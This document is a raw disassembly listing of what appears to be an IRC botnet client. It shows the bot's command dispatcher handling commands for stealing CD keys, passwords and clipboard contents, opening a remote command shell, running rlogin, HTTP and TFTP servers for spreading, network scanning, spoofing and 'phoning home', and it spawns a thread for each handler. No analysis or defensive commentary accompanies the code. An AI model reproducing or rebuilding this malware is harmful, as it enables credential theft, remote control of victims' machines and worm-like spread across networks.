		test	eax, eax
		pop	ecx
		jz	loc_40452A
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aS_1	; "s"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aId	; "id"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044B5
		push	edi
		push	offset aI	; "i"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044B5
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40319D
		call	sub_418A12
		test	eax, eax
		mov	eax, offset unk_42D97C
		jnz	short loc_40316F
		mov	eax, offset unk_42D954


loc_40316F:				; CODE XREF: sub_401B66+1602j
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 1Ch
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_40319D:				; CODE XREF: sub_401B66+15F4j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C8
		push	edi
		push	offset aT	; "t"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C8
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043A5
		push	edi
		push	offset aAl	; "al"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043A5
		push	edi
		push	offset aLog909	; "log909"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042B6
		push	edi
		push	offset aLg909	; "lg909"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042B6
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429A
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40429A
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404260
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404260
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404235
		push	edi
		push	offset aSi	; "si"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404235
		push	edi
		push	offset aRemove51 ; "remove51"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041FB
		push	edi
		push	offset aRm51	; "rm51"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041FB
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DC
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040DC
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5


loc_403395:				; DATA XREF: sub_4FE53F+233w
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F81
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F81
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033E8
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42D880
		push	offset dword_42D874
		jmp	loc_404634
; ---------------------------------------------------------------------------


loc_4033E8:				; CODE XREF: sub_401B66+1868j
		push	edi


loc_4033E9:				; DATA XREF: sub_4FE53F+251w
		push	offset dword_42D870
		call	sub_41C840
		pop	ecx
		test	eax, eax


loc_4033F6:				; DATA XREF: sub_4FE53F+262w
		pop	ecx
		jnz	loc_4034E7
		cmp	[ebp+var_8], ebx
		jnz	short loc_40341C
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42D85C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_40341C:				; CODE XREF: sub_401B66+189Aj
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jz	short loc_403426
		inc	eax
		jmp	short loc_40342B
; ---------------------------------------------------------------------------


loc_403426:				; CODE XREF: sub_401B66+18BBj
		mov	eax, offset aEmpty ; "<Empty>"


loc_40342B:				; CODE XREF: sub_401B66+18BEj
					; DATA XREF: .RLPack:004FFAA5r	...
		push	eax
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	offset aD_S	; "%d. %s"
		push	eax


loc_403439:
		call	sub_41C056
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		push	offset unk_42D828
		call	sub_4157A5
		add	esp, 28h


loc_403465:				; CODE XREF: sub_401B66+1B84j
					; sub_401B66+2EF1j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F9E
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404B63
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A69
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D7F4
		push	eax
		mov	dword_4D14F4, ebx
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_4034BD:				; CODE XREF: sub_401B66+2FA4j
					; sub_401B66+2FCAj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40976F
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982


loc_4034DF:				; CODE XREF: sub_401B66+6F5Aj
					; sub_401B66+6FBEj
		add	esp, 14h
		jmp	loc_40976F
; ---------------------------------------------------------------------------


loc_4034E7:				; CODE XREF: sub_401B66+1891j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F40
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F40
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F23
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F23
		push	edi


loc_40353C:				; DATA XREF: .RLPack:004FE50Cw
					; sub_4FE53F:loc_4FE56Cr ...
		push	offset aFlushdns ; "flushdns"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EE5


loc_403550:				; DATA XREF: sub_4FE53F+121w
					; .RLPack:004FE6B9r ...
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C840
		pop	ecx


loc_40355C:				; DATA XREF: sub_5001B6+3Cr
		test	eax, eax
		pop	ecx
		jz	loc_403EE5
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C840


loc_403570:				; DATA XREF: sub_4FE53F:loc_4FE728r
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EAB
		push	edi
		push	offset aCip	; "cip"


loc_403580:				; DATA XREF: sub_5001B6+79r
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EAB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D4F


loc_4035A4:				; DATA XREF: .RLPack:004FED82r
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D4F
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C840


loc_4035C4:				; DATA XREF: sub_5006F2+13r
		pop	ecx
		test	eax, eax
		pop	ecx


loc_4035C8:				; DATA XREF: sub_4FE53F+12Er
		jz	loc_403BDA
		push	edi
		push	offset aHttp	; "http"


loc_4035D4:				; DATA XREF: sub_4FE53F+22Ar
					; .RLPack:loc_4FEDD8r
		call	sub_41C840
		pop	ecx
		test	eax, eax


loc_4035DC:				; DATA XREF: sub_4FE53F+257r
					; .RLPack:004FEE0Br
		pop	ecx
		jz	loc_403BDA
		push	edi


loc_4035E4:				; DATA XREF: sub_4FE53F+2F6r
					; .RLPack:004FEDB2r
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AA9


loc_4035F8:				; DATA XREF: sub_4FE53F+21Dr
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AA9
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403673
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D74C
		push	eax
		call	sub_41C056
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403652
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_403652:				; CODE XREF: sub_401B66+1ACEj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C840
		jmp	loc_4098EF
; ---------------------------------------------------------------------------


loc_403673:				; CODE XREF: sub_401B66+1AB6j
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037A5
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037A5
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036CA
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_40993C


loc_4036C2:				; CODE XREF: sub_401B66+40Bj
		add	esp, 0Ch
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_4036CA:				; CODE XREF: sub_401B66+1B46j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036F0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403465


loc_4036F0:				; CODE XREF: sub_401B66+1B73j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F50]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+arg_4]
		push	offset unk_42D6DC
		mov	[ebp+var_F54], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ECC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_EC8], eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_41C150
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	26h
		push	eax
		call	sub_40AF8D
		add	esp, 24h
		mov	[ebp+var_ED0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F54]
		push	ebx
		push	eax
		push	offset sub_417474
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_ED0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_403798
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D6A0
		jmp	loc_408338
; ---------------------------------------------------------------------------


loc_403790:				; CODE XREF: sub_401B66+1C38j
		push	32h
		call	dword_428064	; Sleep


loc_403798:				; CODE XREF: sub_401B66+1C17j
		cmp	[ebp+var_EC4], ebx
		jz	short loc_403790
		jmp	loc_402418
; ---------------------------------------------------------------------------


loc_4037A5:				; CODE XREF: sub_401B66+1B1Cj
					; sub_401B66+1B31j
		mov	al, byte_432DB2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_432DB2
		jz	loc_401F9E
		mov	ecx, edx


loc_4037BC:				; CODE XREF: sub_401B66+1C5Ej
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037BC
		cmp	al, bl
		jz	loc_401F9E
		mov	[ebp+arg_10], edx
		mov	esi, offset aGxxx_0 ; "#Gxxx"


loc_4037D6:				; CODE XREF: sub_401B66+1F1Cj
		push	0Bh
		call	sub_40B1CF
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403825
		push	ecx
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D660
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 20h
		jmp	loc_403A79
; ---------------------------------------------------------------------------


loc_403825:				; CODE XREF: sub_401B66+1C8Aj
		or	[ebp+var_72C], 0FFFFFFFFh
		cmp	dword_432A90, ebx
		mov	[ebp+var_730], 64h
		mov	[ebp+var_744], 5
		mov	[ebp+var_740], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_403896
		mov	edi, offset dword_432A90


loc_40385A:				; CODE XREF: sub_401B66+1D12j
		mov	eax, [ebp+arg_10]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40387C
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40385A
		jmp	short loc_403896
; ---------------------------------------------------------------------------


loc_40387C:				; CODE XREF: sub_401B66+1D08j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_72C], eax
		shl	ecx, 6
		mov	ecx, dword_432A90[ecx]
		mov	[ebp+var_748], ecx


loc_403896:				; CODE XREF: sub_401B66+1CEDj
					; sub_401B66+1D14j
		cmp	[ebp+var_748], ebx
		jz	loc_403A9F
		push	10h
		lea	eax, [ebp+var_2C8]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F4]
		push	eax
		mov	[ebp+var_2C8], edi
		push	[ebp+arg_4]
		call	dword_4CDC08	; getsockname
		mov	al, [ebp+var_8FB]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F0], eax
		push	[ebp+var_2F0]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_85C]
		push	eax
		call	sub_41BDC0
		xor	eax, eax
		cmp	[ebp+var_8FB], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_85C]
		push	eax
		call	sub_41C610
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40393E


loc_40391C:				; CODE XREF: sub_401B66+1DD6j
		cmp	eax, ebx
		jz	short loc_40393E
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_85C]
		push	30h
		push	eax
		call	sub_41C610
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40391C


loc_40393E:				; CODE XREF: sub_401B66+1DB4j
					; sub_401B66+1DB8j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_74C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_724], eax


loc_403956:				; DATA XREF: sub_5001B6+4Bw
					; sub_5001B6+73r ...
		mov	eax, [ebp+var_8]
		mov	[ebp+var_720], eax
		mov	edi, 80h
		lea	eax, [ebp+var_84C]


loc_40396A:				; DATA XREF: sub_5001B6+88w
					; sub_5002CD+36r
		push	edi
		push	eax
		mov	[ebp+var_71C], 1


loc_403976:				; DATA XREF: sub_500288+3Ew
					; sub_5003AC+121r ...
		call	sub_41C150
		push	offset byte_43FE14
		push	esi
		call	sub_41C840


loc_403986:				; DATA XREF: .RLPack:004FFB1Dw
					; .RLPack:004FFF62r ...
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039A0
		push	esi


loc_40398E:				; DATA XREF: sub_4FF701+20w
					; sub_4FF770+6w ...
		lea	eax, [ebp+var_7CC]
		push	edi
		push	eax


loc_403996:				; DATA XREF: .RLPack:loc_4FF9F5r
		call	sub_41C150
		add	esp, 0Ch


loc_40399E:				; DATA XREF: .RLPack:004FFA13w
					; .RLPack:004FFA62r
		jmp	short loc_4039A6
; ---------------------------------------------------------------------------


loc_4039A0:				; CODE XREF: sub_401B66+1E25j
		mov	[ebp+var_7CC], bl


loc_4039A6:				; CODE XREF: sub_401B66:loc_40399Ej
					; DATA XREF: sub_4FF6BA+1w ...
		cmp	[ebp+var_71C], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039B8
		mov	eax, offset aSequential	; "Sequential"


loc_4039B8:				; CODE XREF: sub_401B66+1E4Bj
		push	[ebp+var_730]


loc_4039BE:				; DATA XREF: sub_500139-8Er
		lea	ecx, [ebp+var_85C]
		push	[ebp+var_740]


loc_4039CA:				; DATA XREF: sub_500139-43w
					; sub_500139-15r
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D5E0
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Bh
		push	eax
		call	sub_40AF8D
		add	esp, 2Ch
		mov	[ebp+var_73C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_85C]
		push	ebx
		push	eax
		push	offset sub_40C1BE
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_73C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_403A95
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D5A4
		push	eax
		call	sub_41C056
		add	esp, 0Ch


loc_403A4B:				; CODE XREF: sub_401B66+1F37j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403A6C
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409982
		add	esp, 14h


loc_403A6C:				; CODE XREF: sub_401B66+1EE8j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4157A5
		pop	ecx


loc_403A79:				; CODE XREF: sub_401B66+1CBAj
		add	[ebp+arg_10], 0Bh
		mov	eax, [ebp+arg_10]
		cmp	[eax], bl
		jnz	loc_4037D6
		jmp	loc_401F9E
; ---------------------------------------------------------------------------


loc_403A8D:				; CODE XREF: sub_401B66+1F35j
		push	32h
		call	dword_428064	; Sleep


loc_403A95:				; CODE XREF: sub_401B66+1EC8j
		cmp	[ebp+var_718], ebx
		jz	short loc_403A8D
		jmp	short loc_403A4B
; ---------------------------------------------------------------------------


loc_403A9F:				; CODE XREF: sub_401B66+1D36j
		push	offset unk_42D56C
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_403AA9:				; CODE XREF: sub_401B66+1A8Cj
					; sub_401B66+1AA1j
		push	5
		call	sub_40B1CF
		test	eax, eax
		pop	ecx
		jle	short loc_403ABF
		push	offset unk_42D54C
		jmp	loc_406EB7
; ---------------------------------------------------------------------------


loc_403ABF:				; CODE XREF: sub_401B66+1F4Dj
		mov	eax, [ebp+esi+var_8C]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_403AE2
		push	eax
		lea	eax, [ebp+var_2E50]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 0Ch
		jmp	short loc_403AF1
; ---------------------------------------------------------------------------


loc_403AE2:				; CODE XREF: sub_401B66+1F67j
		lea	eax, [ebp+var_2E50]
		push	edi
		push	eax
		push	ebx
		call	dword_428074	; GetModuleFileNameA


loc_403AF1:				; CODE XREF: sub_401B66+1F7Aj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B01
		mov	esi, offset byte_42A10C


loc_403B01:				; CODE XREF: sub_401B66+1F94j
		push	esi
		lea	eax, [ebp+var_2D4C]
		push	edi
		push	eax
		call	sub_41C150
		mov	eax, dword_42A07C
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2C40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2C44],	ebx
		mov	[ebp+var_2E54],	eax
		lea	eax, [ebp+var_2C3C]
		push	eax
		call	sub_41BDC0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2BBC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2BB8],	eax
		lea	eax, [ebp+var_2E50]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_2C40]
		push	offset unk_42D518
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	5
		push	eax
		call	sub_40AF8D
		add	esp, 34h
		mov	[ebp+var_2C48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2E54]
		push	ebx
		push	eax
		push	offset sub_411DF4
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_2C48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_403BCD
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D4DC
		jmp	loc_405F5E
; ---------------------------------------------------------------------------


loc_403BC5:				; CODE XREF: sub_401B66+206Dj
		push	32h
		call	dword_428064	; Sleep


loc_403BCD:				; CODE XREF: sub_401B66+204Cj
		cmp	[ebp+var_2BB4],	ebx
		jz	short loc_403BC5
		jmp	loc_406EC5
; ---------------------------------------------------------------------------


loc_403BDA:				; CODE XREF: sub_401B66:loc_4035C8j
					; sub_401B66+1A77j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BF9
		push	edi
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jz	short loc_403BF9
		push	edi
		call	sub_41BF49
		pop	ecx
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403BF9:				; CODE XREF: sub_401B66+207Dj
					; sub_401B66+2088j
		mov	eax, dword_4CDB04


loc_403BFE:				; CODE XREF: sub_401B66+2091j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C4],	eax
		xor	eax, eax
		cmp	[ebp+var_8F8], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B0],	eax
		jz	short loc_403C31
		lea	eax, [ebp+var_37C8]
		push	esi
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	short loc_403C5C
; ---------------------------------------------------------------------------


loc_403C31:				; CODE XREF: sub_401B66+20B8j
		lea	eax, [ebp+var_4FF0]
		push	104h
		push	eax
		call	dword_428078	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF0]
		push	eax
		call	sub_41C1A1
		add	esp, 14h


loc_403C5C:				; CODE XREF: sub_401B66+20C9j
		lea	eax, [ebp+var_37C8]
		push	eax
		call	sub_41B7B0
		cmp	[ebp+eax+var_37C9], 5Ch
		pop	ecx
		jnz	short loc_403C87
		lea	eax, [ebp+var_37C8]
		push	eax
		call	sub_41B7B0
		pop	ecx
		mov	[ebp+eax+var_37C9], bl


loc_403C87:				; CODE XREF: sub_401B66+210Bj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A50]
		mov	[ebp+var_3A54],	esi
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B4],	eax
		lea	eax, [ebp+var_37C8]
		mov	[ebp+var_36B8],	edi
		push	eax
		push	[ebp+var_36C4]
		push	esi
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D4A0
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	3
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A54]
		push	ebx
		push	eax
		push	offset sub_40F956
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_36BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_403D42
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D464
		jmp	loc_403E6C
; ---------------------------------------------------------------------------


loc_403D3A:				; CODE XREF: sub_401B66+21E2j
		push	32h
		call	dword_428064	; Sleep


loc_403D42:				; CODE XREF: sub_401B66+21C1j
		cmp	[ebp+var_36A8],	ebx
		jz	short loc_403D3A
		jmp	loc_403E7B
; ---------------------------------------------------------------------------


loc_403D4F:				; CODE XREF: sub_401B66+1A38j
					; sub_401B66+1A4Dj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D6E
		push	edi
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jz	short loc_403D6E
		push	edi
		call	sub_41BF49
		pop	ecx
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D6E:				; CODE XREF: sub_401B66+21F2j
					; sub_401B66+21FDj
		mov	eax, dword_42A080


loc_403D73:				; CODE XREF: sub_401B66+2206j
		mov	[ebp+var_1820],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D8A
		lea	eax, [ebp+var_C0]


loc_403D8A:				; CODE XREF: sub_401B66+221Cj
		push	eax
		lea	eax, [ebp+var_1960]
		push	40h
		push	eax
		call	sub_41C150
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DAC
		mov	esi, offset byte_43FE14


loc_403DAC:				; CODE XREF: sub_401B66+223Fj
		push	esi
		lea	eax, [ebp+var_1920]
		push	100h
		push	eax
		call	sub_41C150
		push	[ebp+var_88]
		lea	eax, [ebp+var_19E0]
		push	80h
		push	eax
		call	sub_41C150
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_180C],	eax
		lea	eax, [ebp+var_1960]
		push	eax
		mov	[ebp+var_19E4],	esi
		push	[ebp+var_1820]
		mov	[ebp+var_1810],	edi
		push	esi
		call	sub_40AB14
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D428
		push	eax
		call	sub_41C056
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	9
		push	eax
		call	sub_40AF8D
		add	esp, 20h
		mov	[ebp+var_181C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E4]
		push	ebx
		push	eax
		push	offset sub_4110CE
		push	ebx
		push	ebx
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_181C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440BAC[ecx], eax
		jnz	short loc_403EA1
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D3EC


loc_403E6C:				; CODE XREF: sub_401B66+21CFj
					; sub_401B66+4C14j ...
		lea	eax, [ebp+var_2C0]
		push	eax
